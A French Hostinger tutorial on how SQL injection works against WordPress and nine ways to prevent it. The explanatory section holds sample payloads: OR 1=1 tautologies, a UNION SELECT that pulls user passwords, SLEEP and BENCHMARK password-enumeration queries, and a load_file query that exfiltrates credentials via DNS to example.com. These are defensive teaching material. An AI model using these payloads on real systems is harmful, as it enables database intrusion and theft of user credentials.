Comment Prévenir une Attaque Injection SQL sur WordPress (9 Méthodes)

Comment Prévenir une Attaque Injection SQL sur WordPress (9 Méthodes)

L’un des facteurs les plus critiques dans le développement d’un site web est sa sécurité. Si votre site subit une injection SQL WordPress, des pirates pourraient accéder à des informations sensibles dans votre base de données et les exploiter.

Heureusement, la prévention des attaques par injection SQL est plus simple que vous ne le pensez. Vous pouvez facilement protéger votre site en mettant à jour votre logiciel, en mettant en place un pare-feu ou en installant un plugin de sécurité WordPress.

Dans cet article, nous allons expliquer ce qu’est une injection SQL et comment elle peut se produire. Ensuite, nous vous montrerons comment stopper les attaques par injection SQL sur WordPress. C’est parti !

Introduction à l’injection SQL

Avant de nous plonger dans l’injection SQL, il est important de comprendre ce qu’est le langage SQL. En bref, le langage de requête structuré (« Structured Query Language », SQL) est un langage de programmation utilisé pour interagir avec les bases de données.

Dans WordPress, vous pouvez utiliser des requêtes SQL pour demander des données à votre base de données MySQL. Vous pouvez modifier les tables, ajouter de nouvelles données et trier les résultats des données à l’aide de différentes commandes.

Quand on parle d’injection SQL (SQLi), cela signifie qu’un code malveillant est injecté dans une application web. Les attaquants peuvent accéder aux données de la base de données à l’aide d’instructions SQL nuisibles et même les détruire.

Les attaques par injection SQL se produisent depuis la fin des années 90 et restent un problème courant. En 2023, cette technique figurait en troisième position sur la liste des dix principaux risques pour la sécurité des applications web.

Bien qu’il s’agisse d’un problème important, de nombreux sites et applications web ne mettent pas en œuvre de mesures efficaces pour prévenir les attaques par injection SQL. Cela a conduit à plusieurs violations de données, parfois à grande échelle. Par exemple, l’université de Stanford a subi une cyberattaque en 2020 qui a compromis les données de nombreux étudiants.

En fin de compte, l’injection SQL de WordPress peut avoir des conséquences désastreuses pour votre site web. Si vous ne voulez pas que vos données tombent entre de mauvaises mains, il est donc crucial de renforcer votre sécurité en ligne autant que possible.

Comment fonctionne l’injection SQL sur WordPress

Les attaques par injection SQL peuvent être réalisées de différentes manières. Elles peuvent impliquer :

  • La récupération non autorisée de données. Les attaquants peuvent manipuler une requête SELECT pour récupérer des données et « vider » le contenu d’une base de données.
  • La modification des données. Une SQLi peut être utilisée pour modifier les entrées d’une base de données ou les autorisations d’un compte.
  • Un déni de service (DoS). Les attaques DoS empêchent les utilisateurs réels de visiter votre site web. Les attaquants y parviennent en supprimant massivement le contenu de votre base de données.

Il y a de fortes chances que votre site web contienne un formulaire qui recueille des informations auprès des visiteurs. Les pirates peuvent s’en servir pour contourner les mesures de sécurité de votre site web.

Si vous demandez à un utilisateur de saisir un nom d’utilisateur, un mot de passe ou un numéro de téléphone, il peut vous donner une instruction SQL malveillante à la place. Celle-ci s’exécutera à votre insu dans votre base de données, ce qui risque d’exposer les données de votre site.

Voici quelques points d’entrée courants pour les attaques SQLi :

  • Les formulaires d’inscription
  • Les formulaires de connexion
  • Les champs des commentaires
  • Les paniers d’achat
  • Les formulaires de contact

Voici un exemple d’instruction SQL normale pour sélectionner un utilisateur spécifique avec un ID utilisateur donné :

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

Sans aucune directive sur les entrées utilisateur, les attaquants SQLi peuvent modifier cette déclaration :

SELECT * FROM Users WHERE UserId = 105 OR 1=1;

Cela renverra toutes les lignes de la table « Utilisateurs », exposant ainsi les informations de vos visiteurs. Les attaquants peuvent également potentiellement accéder aux mots de passe :

SELECT UserId, Name, Password FROM Users WHERE UserId = 105 or 1=1;

En utilisant l’injection SQL, les pirates peuvent découvrir les noms d’utilisateur et les mots de passe de votre site web. Si vous gérez un site de e-commerce par exemple, ces personnes malveillantes peuvent divulguer les données de paiement de vos clients et d’autres informations sensibles, ruinant ainsi votre réputation en ligne.

Les types d’attaques par injection SQL

Maintenant que vous savez ce qu’est une injection SQL et comment elle fonctionne, examinons les différentes façons dont elle peut être exécutée. Vous serez ainsi mieux préparé pour vous défendre.

SQLi en bande (In-Band)

Un exemple d’attaque par injection de code SQL est le SQLi en bande. Avec cette méthode, l’attaquant peut utiliser le même canal pour insérer un code malveillant et recueillir les résultats.

Comme le SQLi en bande est simple et efficace, il s’agit d’un type d’injection SQL très répandu. Cependant, il existe deux variantes de SQLi en bande – basée sur les erreurs et basée sur l’union.

SQLi basée sur les erreurs

Une attaque par injection SQL basée sur les erreurs est une technique qui force la base de données à produire des messages d’erreur. Cela permet d’obtenir des informations sur la structure de la base de données.

Les attaquants peuvent y parvenir en utilisant une commande SQL dans un paramètre de champ d’entrée. Il peut s’agir d’un simple guillemet, d’un double guillemet ou d’opérateurs tels que AND, OR ou NOT.

Par exemple, l’URL d’un site peut prendre un paramètre des visiteurs :

https://www.example.org/index.php?item=123

Dans ce cas, les attaquants peuvent ajouter un guillemet simple à la fin du paramètre :

https://www.example.org/index.php?item=123′

Ce qui peut renvoyer une erreur contenant des informations sensibles :

Vous avez une erreur dans votre syntaxe SQL ; consultez le manuel correspondant à la version de votre serveur MySQL pour connaître la bonne syntaxe à utiliser près de  »VALUE ».

Voici les informations qu’un pirate peut obtenir à partir de cette erreur :

  • La confirmation que la base de données utilise MySQL
  • La syntaxe spécifique qui a provoqué l’erreur
  • L’endroit de la requête où l’erreur s’est produite

Après avoir reçu cette erreur, les attaquants SQLi sauront que votre base de données n’est pas sécurisée. Cela peut leur permettre de planifier d’autres attaques par injection afin d’obtenir des données plus sensibles. Ils peuvent même utiliser une commande comme grep extract pour automatiser les options de syntaxe SQL afin de localiser d’autres erreurs.

SQLi basée sur l’union

Une attaque par injection SQL basée sur l’union est une technique qui utilise l’opérateur SQL UNION pour combiner deux ou plusieurs instructions SELECT dans une réponse HTTP. Cette réponse peut contenir des données sensibles qui peuvent être exploitées.

Essentiellement, les attaquants utilisent le mot-clé SQL UNION pour obtenir des données supplémentaires par rapport à ce qui a été récupéré dans une requête initiale. Ce mot-clé permet aux pirates d’ajouter des requêtes SELECT supplémentaires à la requête initiale.

Voici comment elle peut être exécutée :

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

Cette requête renverra les valeurs de deux colonnes dans un seul ensemble de résultats. Celui-ci contiendra les valeurs des colonnes A et B d’une table, ainsi que les colonnes C et D d’une autre table.

Pour que cette injection SQL fonctionne, quelques conditions doivent être remplies :

  • Chaque requête doit renvoyer le même nombre de colonnes.
  • Le type de données de chaque colonne doit être compatible avec les requêtes.

Si ces deux conditions sont remplies, les attaquants seront en mesure de récupérer les résultats de leur requête injectée. Après avoir déterminé le nombre de colonnes nécessaires et le type de données de l’utilisateur, les pirates SQLi peuvent ensuite récupérer le contenu des tables de votre base de données.

Par exemple, la requête originale peut renvoyer deux colonnes contenant des données de type chaîne. Si ces colonnes correspondent à des noms d’utilisateur et à des mots de passe, les pirates peuvent soumettre cette entrée :

‘ UNION SELECT username, password FROM users–

Comme vous pouvez l’imaginer, les résultats de ces requêtes peuvent avoir des conséquences désastreuses. Les informations personnelles contenues sur votre site web peuvent alors être consultées et exploitées de diverses manières.

SQLi inférentiel (inferential)

L’injection SQL inférentielle est communément appelée SQLi aveugle. Contrairement aux attaques en bande, aucune donnée n’est transférée entre l’application et le pirate. Au lieu de cela, l’attaquant envoie plusieurs requêtes à la base de données afin d’observer le comportement des réponses.

En résumé, l’attaque SQLi inférentielle consiste à évaluer la structure d’une base de données en notant la façon dont elle répond à des données spécifiques. Pour ce faire, les attaquants peuvent utiliser des techniques d’injection SQL basées sur les booléens et sur le temps.

SQLi booléenne

La méthode d’injection basée sur les booléens est un type de SQLi inférentiel. Un attaquant interroge la base de données avec des questions de type VRAI ou FAUX et évalue la réponse. Cette technique est souvent utilisée lorsque l’application n’affiche que des messages d’erreur génériques.

L’injection booléenne prend beaucoup plus de temps pour atteindre son objectif. Comme la base de données n’envoie pas de données à la page web, l’attaquant vole des données en examinant les réponses aux questions VRAI ou FAUX. Cela peut lui permettre de savoir si la base de données est vulnérable à une injection SQL aveugle.

Par exemple, les pirates peuvent injecter une requête malveillante qui renvoie un résultat FAUX :

http://example.com/items.php?id=2 and 1=2

Si l’application ne renvoie pas de résultat, elle est probablement vulnérable à l’injection SQL. Pour s’en assurer, les attaquants injectent généralement des requêtes qui renvoient un résultat VRAI :

http://newspaper.com/items.php?id=2 and 1=1

L’attaquant peut distinguer les retours VRAI et FAUX lorsque le contenu est différent pour chaque réponse. Cela peut lui permettre d’exploiter la base de données.

SQLi basée sur le temps

Une autre façon de déterminer si une base de données est vulnérable à une injection SQL est d’utiliser une attaque basée sur le temps. Ce type d’injection force un délai avant l’exécution des requêtes.

En fonction du temps de réponse, les attaquants peuvent évaluer si le résultat est VRAI ou FAUX. La connaissance de cette information peut leur permettre d’exécuter des requêtes supplémentaires.

Si une attaque basée sur le temps est effectuée sur une base de données MySQL, elle utilise probablement la fonction sleep. Cette fonction demande à la base de données de retarder l’exécution de la requête pendant un certain temps :

select * from comments
WHERE post_id=1-SLEEP(15);

Lorsque la réponse est retardée avec succès, l’attaquant sait alors que l’injection SQL est possible. Cela confirmera que le serveur web est une base de données MySQL, ce qui conduira à des injections de charge utile plus complexes.

Par exemple, les attaquants peuvent utiliser ce délai pour confirmer les données dans une base de données. Ils peuvent énumérer chaque lettre en demandant à la base de données de s’arrêter pendant un certain temps.

Pour les bases de données MySQL, vous pouvez implémenter l’opération BENCHMARK() pour retarder les réponses si l’expression est vraie. Voici un exemple de fonctionnement :

1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;

S’il y a un délai important dans la réponse, les attaquants peuvent supposer que le premier caractère du mot de passe pour user_id = 1 est le caractère “2”. En utilisant cette méthode, ils peuvent énumérer tous les mots de passe stockés dans votre base de données.

SQLi hors bande (Out-of-Band)

Une injection SQL hors bande signifie que l’attaquant n’a pas pu recevoir de réponse de l’injection sur le même canal que celui qu’il a demandé. Au lieu de cela, il peut forcer l’application à envoyer les données demandées à un point de terminaison distant et contrôlé.

Souvent, l’injection SQL hors bande peut être une alternative efficace aux attaques inférentielles. Toutefois, cette technique n’est possible que si le serveur dispose de commandes qui déclenchent des requêtes DNS ou HTTP. Heureusement pour eux, ces commandes sont courantes sur les serveurs SQL les plus répandus.

Le serveur MySQL 5.5.52 et les versions inférieures démarrent automatiquement avec une variable système globale secure_file_priv vide. Dans ce cas, les attaquants hors bande peuvent exfiltrer les données et créer une requête vers un nom de domaine avec une fonction load_file. Cela permettra de récupérer les données exfiltrées dans la requête.

Les pirates peuvent y parvenir en exécutant cette requête SQL :

SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.', (SELECT+password),'.',example.com\\test.txt'))

En conséquence, l’application enverra une requête DNS au domaine inclus. Cela peut exposer des détails sensibles tels que la version de votre base de données, les noms d’utilisateur et les mots de passe.

Quelle est la fréquence des attaques d’injection SQL sur WordPress ?

Si vous construisez un site WordPress, il est important de savoir si vous devez vous préoccuper de l’injection SQL. Malheureusement, l’injection SQL est un moyen assez courant pour les pirates de compromettre ce système de gestion de contenu (CMS).

Selon le rapport iThemes sur la vulnérabilité de WordPress, les attaques par injection SQL représentaient 9,3 % de toutes les menaces de sécurité en 2021. Bien que des facteurs tels que les requêtes de script et de falsification intersites aient été plus fréquents, il est impératif de ne pas négliger les menaces SQLi.

WordPress stocke toutes les informations de votre site web dans une base de données SQL. Cela inclut vos commentaires, vos articles, les informations sur vos clients, et bien plus encore. De plus, WordPress fonctionne en PHP, qui s’intègre à SQL. Étant donné que SQL fait partie intégrante de WordPress, vous êtes certainement vulnérable aux attaques par injection SQL.

En général, l’injection SQL sur WordPress est exécutée par le biais de formulaires. Les attaquants peuvent exploiter ce processus lorsque les utilisateurs soumettent des données à un script PHP contenant une requête SQL. En tant que propriétaire d’un site WordPress, il est important de maximiser votre sécurité pour éviter ce problème.

Comment bloquer l’injection SQL dans WordPress (9 méthodes)

Si votre site web présente une vulnérabilité aux injections SQL, cela signifie que les attaquants peuvent accéder, modifier ou supprimer des données dans votre base de données. Heureusement, vous pouvez mettre en œuvre plusieurs pratiques de sécurité pour augmenter la sécurité de WordPress et éviter une attaque SQL.

1. Mettez en place un pare-feu

L’une des meilleures façons de sécuriser votre site web contre les attaques SQLi est de mettre en place un pare-feu d’application web (WAF). Un pare-feu est un système de sécurité qui surveille le trafic réseau et bloque les activités suspectes. Il peut protéger votre site contre les injections SQL, les falsifications intersites, les scripts intersites, l’inclusion de fichiers, etc.

Cloudflare est un service gratuit qui fournit un pare-feu d’application web puissant pour votre site internet. Cet outil peut détecter automatiquement plusieurs variantes d’attaques SQLi.

Page d'accueil du pare-feu applicatif web de Cloudflare

2. Changez le préfixe de la base de données de WordPress

Lorsque vous installez WordPress, pour la première fois, le préfixe de la base de données est automatiquement “wp_.” Cette option par défaut peut faciliter l’accès des pirates à vos données. Si vous ne réinitialisez pas le préfixe, les pirates peuvent facilement deviner les tables de votre base de données.

Vous pouvez rapidement modifier le préfixe de votre base de données, mais n’oubliez pas de faire une sauvegarde de votre site WordPress au préalable :

  • Si vous avez un compte Hostinger, connectez-vous au tableau de bord hPanel et ouvrez votre gestionnaire de fichiers.
La page de présentation de hPanel. Le bouton Gestionnaire de fichiers est en surbrillance
  • Cliquez sur le dossier public_html et ouvrez le fichier wp-config.php.
Gestionnaire de fichiers Hostinger. Le fichier wp-config.php est mis en évidence
  • Recherchez la valeur $table_prefix. Elle doit être définie sur  “wp_.”
Recherche de la valeur $table_prefix dans le fichier wp-config.php
  • Vous pouvez supprimer ce préfixe et en saisir un nouveau. Veillez à n’utiliser qu’une combinaison de lettres, de chiffres et de traits de soulignement. Enfin, enregistrez et fermez le fichier.
  • Retournez dans le hPanel et trouvez la section Bases de données. Cliquez ensuite sur phpMyAdmin.
Le bouton phpMyAdmin sur hPanel
  • Sur la page suivante, sélectionnez Enter phpMyAdmin. Cela ouvrira la base de données de votre site.
La page phpMyAdmin sur hPanel
  • Dans phpMyAdmin, cliquez sur l’onglet SQL. Pour modifier le préfixe de votre base de données, entrez cette requête dans la zone de texte :

RENAME table `wp_tablename` TO `wp_1secure1_tablename`;

Veillez à remplacer « wp_tablename » par le nom de votre table actuelle. Ensuite, « wp_1secure1_tablename » devrait avoir votre nouveau préfixe et nom de table.

Modifier les valeurs de wp_tablename et wp_1secure1_tablename sur phpMyAdmin
  • Vous devrez répéter ce code pour chaque table que vous souhaitez renommer. Lorsque vous avez terminé, sélectionnez Go.

En outre, il se peut que vous deviez mettre à jour certaines valeurs de préfixe manuellement. Dans ce cas, vous pouvez filtrer vos valeurs pour trouver toutes les instances de l’ancien préfixe :

SELECT * FROM `wp_1secure1_tablename` WHERE `field_name` LIKE '%wp_%'

Vous pouvez ensuite modifier chaque résultat pour qu’il contienne la nouvelle valeur du préfixe. Cela devrait supprimer complètement le préfixe « wp_ » de votre base de données.

3. Validez les entrées des utilisateurs

Comme nous l’avons mentionné précédemment, les pirates informatiques exécutent généralement des attaques SQLi en exploitant les données soumises par l’utilisateur. Il est donc important de sécuriser tous les champs d’entrée de votre site web, y compris les formulaires et les sections de commentaires.

Vous pouvez filtrer toutes les commandes soumises par les utilisateurs à l’aide de la validation et de l’assainissement des entrées. Vous pouvez protéger efficacement votre site web contre les injections SQL en vous assurant que les formulaires ne contiennent pas de chaînes de caractères supplémentaires ou de code malveillant.

Pour créer une validation d’entrée pour vos formulaires, vous devez établir des règles pour les entrées des utilisateurs. Si vous utilisez un générateur de formulaires tel que Formidable Forms, vous pouvez créer un format de masque d’entrée. Cela limitera la saisie à un ensemble spécifique de symboles.

Création d'un format de masque de saisie sur Formidable Forms

Vous pouvez également envisager d’inclure uniquement des menus déroulants et des options à choix multiples. Le fait d’éviter les zones de texte peut empêcher les pirates d’exploiter les données de votre formulaire.

La validation des données peut également être effectuée à l’aide de fonctions. Par exemple, si vous souhaitez limiter les soumissions aux seuls codes postaux américains valides, voici la fonction que vous pouvez utiliser :

/**

 * Validate a US zip code.

 *

 * @param string $zip_code   RAW zip code to check.

 *

 * @return bool          true if valid, false otherwise.

 */

function wporg_is_valid_us_zip_code( $zip_code ) {

    // Scenario 1: empty.

    if ( empty( $zip_code ) ) {

        return false;

    }

    // Scenario 2: more than 10 characters.

    if ( 10 < strlen( trim( $zip_code ) ) ) {

        return false;

    }

    // Scenario 3: incorrect format.

    if ( ! preg_match( '/^\d{5}(\-?\d{4})?$/', $zip_code ) ) {

        return false;

    }

    // Passed successfully.

    return true;

}

Ce code évaluera le champ wporg_zip_code pour chaque soumission en fonction de ces règles prédéfinies. Ensuite, il n’effectuera l’action que si le code postal est valide :

if ( isset( $_POST['wporg_zip_code'] ) && wporg_is_valid_us_zip_code( $_POST['wporg_zip_code'] ) ) {

    // your action

}

Pour nettoyer davantage les données soumises par les utilisateurs, vous pouvez assainir chaque entrée. Si vous souhaitez assainir une adresse électronique, vous pouvez utiliser la fonction suivante :

function sanitize_email( $email ) {

    // Test for the minimum length the email can be.

    if ( strlen( $email ) < 6 ) {

S’il y a des caractères supplémentaires qui ne sont pas inclus dans une adresse électronique standard, cette fonction les supprimera. Vous ne recevrez alors que des adresses électroniques valides et assainies.

4. Effectuez des mises à jour fréquentes

Lorsque vous essayez de sécuriser votre site web, pensez à utiliser les logiciels les plus récents. Si vous vous contentez d’un logiciel de base, et que vous utilisez des thèmes et des plugins obsolètes, il y a de grandes chances que votre site internet soit vulnérable. L’utilisation d’une ancienne version de WordPress présentera probablement des failles de sécurité qui pourront être exploitées.

Pour vérifier la présence de nouvelles mises à jour, ouvrez votre tableau de bord et cliquez sur l’onglet Mises à jour. Vous pouvez y mettre à jour votre site web avec la dernière version de WordPress.

Vérification de la dernière version de WordPress avec un bouton "Mise à jour vers la version 6.0.2" présent

Vous pouvez également lancer des mises à jour pour les plugins et les thèmes. Toutefois, vous pouvez activer les mises à jour automatiques si vous ne souhaitez pas mettre à jour manuellement chaque plugin de votre site web. Pour ce faire, rendez-vous sur votre page Plugins. Sélectionnez ensuite l’option Activer les mises à jour automatiques sur le côté droit de chaque plugin.

Mises à jour automatiques des plugins et des thèmes sur WordPress

Vous pouvez également mettre à jour automatiquement le logiciel principal de WordPress. Pour ce faire, il vous suffit d’ajouter un peu de code à votre fichier wp-config.php :

define('WP_AUTO_UPDATE_CORE', true);

Vous pouvez désormais vous assurer que votre site utilise toujours le logiciel le plus récent. Grâce aux nouveaux correctifs de sécurité et aux corrections de bogues, vous n’aurez plus à vous soucier des vulnérabilités de votre codage.

5. Installez un plugin d’injection SQL pour WordPress

Souvent, l’un des moyens les plus simples de prévenir les injections SQL est d’installer un plugin de sécurité WordPress. En tant que débutant, vous pouvez ainsi protéger efficacement votre site web sans avoir à modifier le code ou à effectuer d’autres tâches avancées.

Examinons quelques-uns des plugins de sécurité les plus puissants du marché.

Sucuri

Sucuri Security est l’un des plugins de sécurité les plus populaires, avec plus de 800 000 installations actives. Cet outil peut protéger votre site web contre les injections SQL grâce à l’analyse des logiciels malveillants, aux notifications de sécurité et à un pare-feu.

Bannière web de Securi Security

Caractéristiques :

  • Analyse à distance des logiciels malveillants
  • Surveillance de l’intégrité des fichiers
  • Audits de sécurité concernant l’activité
  • Actions de sécurité post-piratage

Vous pourrez consulter les journaux d’audit de sécurité de votre site web même avec la version de base de WordPress. Sucuri analysera vos fichiers principaux, notera toute activité suspecte et recommandera des actions spécifiques pour améliorer votre sécurité:

Securi Security WordPress plugin

L’une des principales caractéristiques de Sucuri est son pare-feu. Il inspecte tout le trafic HTTP et HTTPS avant qu’il n’entre en contact avec votre serveur. Grâce à la détection de signatures de haute qualité, Sucuri peut bloquer toutes les requêtes malveillantes avant qu’elles ne causent des dommages.

La version premium de Sucuri peut fournir un nombre illimité de suppressions de logiciels malveillants par ses propres experts en sécurité. Vous aurez également accès à des analyses de sécurité avancées, à une atténuation des attaques DDoS et à un réseau de diffusion de contenu (CDN).

Prix : Sucuri Security est un plugin WordPress gratuit. Cependant, si vous souhaitez accéder au pare-feu d’applications web, vous devrez acheter un plan premium disponible à partir de 199.99 $/an.

MalCare

MalCare est un autre outil efficace pour la prévention de SQLi. Ce plugin WordPress peut effectuer une recherche approfondie de logiciels malveillants sur votre site web et vous avertir de toute vulnérabilité. Avec MalCare, vous pouvez automatiquement nettoyer votre site et éviter de nombreux problèmes de sécurité WordPress permettant une injection SQL.

Bannière web MalCare WordPress security plugin

Caractéristiques :

  • Scanner de logiciels malveillants basé sur le cloud
  • Alertes sur les risques de sécurité
  • Suppression des logiciels malveillants en un clic
  • Identifie et bloque le trafic malveillant

Après avoir installé la version gratuite vous pourrez mettre en place une protection en temps réel contre les logiciels malveillants. MalCare analyse d’abord votre site web et vous donne un état de sécurité. Il continuera ensuite à effectuer des analyses quotidiennes des logiciels malveillants

dashboard MalCare WordPress security plugin

Contrairement à Sucuri, MalCare implémente un pare-feu gratuit sur votre site web. Celui-ci peut bloquer les injections SQL, ainsi que les attaques par scripts intersites. Il fournit également une protection de la connexion, protégeant votre site contre les attaques par force brute.

Étant donné que le tableau de bord MalCare affiche des analyses pour plusieurs sites, ce plugin peut être un outil précieux pour les développeurs. Vous pouvez rapidement détecter et résoudre les problèmes de sécurité grâce aux rapports en temps réel.

Prix : Vous pouvez télécharger MalCare gratuitement. Si vous avez besoin d’un nettoyeur de logiciels malveillants automatisé ou de l’aide d’experts en sécurité, le plugin premium commence à 99 $/an.

Jetpack

Jetpack peut être une option efficace si vous recherchez un plugin tout-en-un que vous pouvez utiliser pour gérer les performances de votre site. Cet outil vous permet de renforcer la sécurité, le marketing, la conception et la vitesse du site.

bannière du plugin Jetpack WordPress

Caractéristiques :

  • Sauvegardes automatiques
  • Analyse des logiciels malveillants
  • Prévention des attaques par force brute
  • Surveillance des temps d’arrêt (ou d’indisponibilité)

Vous pouvez surveiller en permanence votre site web pour détecter toute injection SQL potentielle grâce à l’analyse des logiciels malveillants. À titre préventif, vous pouvez sauvegarder les fichiers de votre site et ainsi facilement récupérer les données après une attaque.

Jetpack peut également améliorer la diffusion de votre contenu car il est fourni avec un CDN gratuit qui optimise automatiquement vos images pour un chargement rapide. En d’autres termes, vous protégez votre site web des injections SQL et vous vous assurez que les visiteurs bénéficient d’une bonne expérience.

Prix : Jetpack est un plugin WordPress gratuit. Jetpack Security commence à 10 $/mois pour la détection des logiciels malveillants en temps réel et les sauvegardes.

6. Limitez les privilèges d’accès des utilisateurs

Vous pouvez attribuer différents rôles aux utilisateurs dans WordPress. En tant qu’administrateur, vous pouvez permettre à quelqu’un de devenir éditeur, auteur, contributeur, abonné, administrateur ou super administrateur..

Cependant, il est souvent préférable de limiter le nombre d’utilisateurs ayant accès à votre site web. Cela peut vous aider à réduire la probabilité d’une attaque par injection SQL sur WordPress.

  • Allez dans Utilisateurs → Tous les utilisateurs dans votre tableau de bord WordPress pour gérer les utilisateurs et leurs rôles. Lorsqu’un utilisateur est sélectionné, cliquez sur Modifier.
Modifier tous les utilisateurs dans le tableau de bord de WordPress
  • Trouvez ensuite le paramètre Rôle. Ici, vous pouvez limiter le niveau de contrôle de l’utilisateur sur votre site web. S’il s’agit d’un administrateur, vous pouvez envisager de le rétrograder au rang de contributeur, d’auteur ou de rédacteur.
Réglages des rôles dans le tableau de bord de WordPress

Si un utilisateur ne contribue pas actuellement à votre contenu, vous pouvez le supprimer complètement. Vous éliminerez ainsi les vulnérabilités potentielles et sécuriserez davantage votre site web.

7. Supprimez les fonctionnalités inutiles de la base de données

Vous pouvez envisager de normaliser votre base de données si vous souhaitez limiter les risques d’attaque par injection SQL. Vous pouvez rendre votre base de données moins vulnérable en éliminant les fonctions inutiles et le contenu non pertinent.

Le nettoyage de votre base de données implique généralement d’organiser les données, d’éliminer les redondances et de s’assurer que les dépendances entre les données ont un sens. Pour ce faire, vous pouvez installer un plugin comme WP-Optimize.

WP-Optimize WordPress plugin bannière web

Après avoir installé et activé WP-Optimize, vous disposerez d’une gamme complète d’options d’optimisation pour la base de données. Au lieu d’exécuter manuellement des commandes SQL, vous pourrez alors simplement cocher la case située à côté d’un paramètre particulier.

Le plugin WordPress WP-Optimize est installé et activé

C’est l’un des moyens les plus simples d’optimiser les tables de la base de données et de supprimer les données inutiles telles que les articles supprimés. En retour, cela peut rendre votre site Web plus sûr contre les injections SQL.

8. Utilisez des instructions préparées

Une instruction préparée est un modèle de code SQL qui est ensuite personnalisé avec des paramètres variables. Lorsque la base de données reçoit ce modèle, elle enregistre un plan d’exécution de la requête, les données sont par la suite liées aux paramètres, ce qui permet d’exécuter l’instruction.

En écrivant des instructions préparées, les attaquants SQLi ne pourront pas modifier l’intention de la requête. Voici à quoi peut ressembler une instruction préparée :

$stmt = $mysqli->prepare(“SELECT * FROM users WHERE user = ? AND password = ?”);

$stmt->bind_param(“ss”, $username, $password);

$stmt->execute();

Comme vous pouvez le constater, cette méthode n’intègre pas directement les données de l’utilisateur. Si vous utilisiez une requête dynamique à la place, les pirates pourraient insérer des commandes SQL pour modifier la requête et accéder à des informations critiques de la base de données.

Cependant, l’utilisation d’une instruction préparée peut empêcher l’injection SQL. En précompilant une requête et en ajoutant des données utilisateur ultérieurement, vous pouvez vous assurer que la requête d’origine ne puisse pas être modifiée.

9. Cachez votre version de WordPress

Le fait que des personnes puissent identifier la version de WordPress que vous utilisez peut rendre votre site web plus vulnérable aux attaques par injection SQL. En effet, comme chaque version contient des problèmes de sécurité uniques, cette information peut aider les attaquants à trouver un moyen d’entrer dans votre base de données.

Normalement, la version de WordPress est affichée dans l’en-tête de votre site web :

<meta name="generator" content="WordPress 6.0.1" />

En cachant cette information, vous pouvez rendre plus difficile l’exploitation de votre site par des attaquants SQLi.

  • Vous devrez accéder aux fichiers de votre site et aller dans public_html → wp-content → themes.
Le dossier Themes dans le gestionnaire de fichiers de Hostinger
  • Sélectionnez le thème que vous utilisez actuellement. Dans ce dossier, ouvrez le fichier functions.php.
Le fichier functions.php sur le gestionnaire de fichiers Hostinger. Le bouton Modifier est mis en évidence
  • Copiez et collez le code suivant :

remove_action(‘wp_head’, ‘wp_generator’);

  • Enregistrez vos modifications.

Cela supprimera le numéro de version de WordPress de l’en-tête HTTP. Maintenant, vous n’avez plus à vous soucier que des pirates trouvent des vulnérabilités dans votre logiciel de base !

Comment supprimer une injection SQL de votre site web

Même après avoir pris toutes les précautions nécessaires, votre site web peut toujours être victime d’une attaque par injection SQL. Cela peut avoir plusieurs conséquences :

  • La mise sur liste noire de votre site web par Google
  • Des problèmes de performance, comme la lenteur des pages
  • L’apparition de code cassé sur les pages web
  • Des fenêtres pop-up de spam
  • Le contenu redirige vers un autre site web
  • Du spam dans les résultats de recherche de votre site

Lorsque cela se produit, vous pouvez utiliser différentes méthodes pour nettoyer votre site. Vous pouvez supprimer les logiciels malveillants manuellement si vous avez l’habitude de modifier les fichiers de votre site. Cependant, vous pouvez également installer un plugin pour effectuer cette tâche automatiquement.

Wordfence Security est un plugin WordPress gratuit qui comprend un scanner de logiciels malveillants. Il évalue vos fichiers, thèmes et plugins et vous alerte lorsqu’il détecte des logiciels malveillants, des redirections malveillantes ou des injections de code.

Wordfence Security WordPress plugin web banner

En outre, Wordfence Security offre un pare-feu WordPress.Une fois que vous aurez éliminé tout problème lié à une injection SQL, le pare-feu pourra efficacement prévenir les futures atteintes à la sécurité.

Il est également conseillé de contacter votre hébergeur. Si vous utilisez un plan d’hébergement mutualisé, l’injection SQL pourrait avoir affecté d’autres sites sur votre serveur.

Conclusion

Les attaquants SQLi peuvent utiliser des instructions SQL malveillantes pour pénétrer dans votre base de données et l’exploiter. Bien qu’il s’agisse d’un problème courant pour les sites web WordPress, il est relativement facile de supprimer tout logiciel malveillant qui a été injecté. Cependant, vous pouvez mettre en œuvre des mesures de sécurité pour prévenir les attaques futures et protéger vos données.

Pour récapituler, voici comment vous pouvez prévenir l’injection SQL sur WordPress :

  • Mettez en place un pare-feu avec Cloudflare.
  • Changez le préfixe de la base de données de WordPress.
  • Validez les entrées des utilisateurs.
  • Effectuez des mises à jour fréquentes.
  • Installez un plugin d’injection SQL comme Sucuri Security.
  • Limitez les privilèges d’accès des utilisateurs.
  • Supprimez les fonctionnalités inutiles de la base de données avec WP-Optimize.
  • Utilisez des instructions préparées.
  • Cachez votre version de WordPress.

Vous devriez maintenant avoir un site web entièrement sécurisé qui n’est plus vulnérable aux attaques par injection SQL !

Author
L'auteur

Ayoub Ouarain

Ayoub est Content Manager chez Hostinger. Il a pour mission de créer les meilleurs tutoriels possibles pour aider les clients de Hostinger. Ce qui le motive c'est de voir d'autres personnes et entreprises réussir en ligne grâce a leur présence web. Ayoub est un grand fan du thé. Il aime aussi les motos, la nature et les animaux.